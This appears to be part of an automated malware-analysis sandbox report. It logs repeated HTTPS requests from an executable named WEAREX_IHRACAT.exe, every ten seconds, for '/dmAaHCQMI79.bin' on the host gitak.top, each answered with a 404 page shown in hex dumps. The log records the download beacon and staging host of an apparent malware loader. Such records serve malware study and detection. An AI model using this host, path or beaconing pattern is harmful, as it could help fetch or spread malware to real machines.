2024-08-29 10:44:41 UTC	688	IN	Data Raw: 62 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b95<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:44:41 UTC	1369	IN	Data Raw: 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e Data Ascii: px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn
2024-08-29 10:44:41 UTC	915	IN	Data Raw: 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 Data Ascii: .353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56
2024-08-29 10:44:41 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-08-29 10:44:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49802	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:44:51 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:44:52 UTC	683	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:44:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 85 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uvGrHFVh6PWFBvVSHPcReQAvG0Omr3d9apds8VsHZOTN8ioHKp0%2BhLP54nunsGj%2B29ujAyCl%2BpO8%2B20tzttoyvcV28n1%2BxKZ%2FhluUogbCGQ1Xa1zUUIn0U1DaPU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf2c13d4281db-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:44:52 UTC	686	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:44:52 UTC	1369	IN	Data Raw: 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 Data Ascii: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fade
2024-08-29 10:44:52 UTC	918	IN	Data Raw: 2d 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 Data Ascii: -2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h
2024-08-29 10:44:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49803	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:45:02 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:45:02 UTC	677	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:45:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 95 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q5RykvhTjptvCpjS4wBPMhx7sp3%2BIMVVbgt%2BdCZ5ZDBHAQzsmV1mWm%2BfHQUYsE69qHvhdqIMvGmqLPrN6Q39SMHAX1j5kFlAsGbT4Yj4ZUDtLM2umg8S3KmvoWY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf3030f68c591-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:45:02 UTC	692	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:45:02 UTC	1369	IN	Data Raw: 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:45:02 UTC	912	IN	Data Raw: 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 Data Ascii: 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.6
2024-08-29 10:45:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49804	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:45:12 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:45:13 UTC	678	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:45:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 106 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dHBvQLdSwBm9PoKkTUtljEORft8B1GglMqqEBglJjTMkatKnSdWb64zw2yRX6qFMQNH%2F8TYsc7qAPz%2F7OuPcjsXgLOia82dKizi9rdTMsjTqUo9Vd4N94%2FBzd5k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf344da1e57be-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:45:13 UTC	691	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:45:13 UTC	1369	IN	Data Raw: 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:45:13 UTC	913	IN	Data Raw: 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e Data Ascii: 3 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.
2024-08-29 10:45:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49805	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:45:23 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:45:23 UTC	672	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:45:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 116 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d7ML22O2MaLNZwkcKS5ZwIoNBgQdWjIPbpKa5C656H0VcHLsJ3mDbZ9IEolDUb1noMxr2onIbst3OkbdrzkLScnR1NkvZYlF4EIUcwP99DxRYaoQW70ruzdv2pY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf38668e43937-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:45:23 UTC	697	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:45:23 UTC	1369	IN	Data Raw: 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 7d 0a 0a 09 Data Ascii: argin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}
2024-08-29 10:45:23 UTC	907	IN	Data Raw: 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 Data Ascii: 15 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0
2024-08-29 10:45:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49806	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:45:33 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:45:34 UTC	676	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:45:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 127 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X%2Ft4Tp4q67AjqoGnNYQb3vJ36PjrscP1jipXuXbg4DznR3Hb4YcJ7XJ6OJHXc64pDG09DJPB4mELnEq0%2BEuQhVAsFklDV6mm49lng4PkUvqOGoVLgBwghDiBlnQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf3c7ffb620a6-IAD alt-svc: h3=":443"; ma=86400
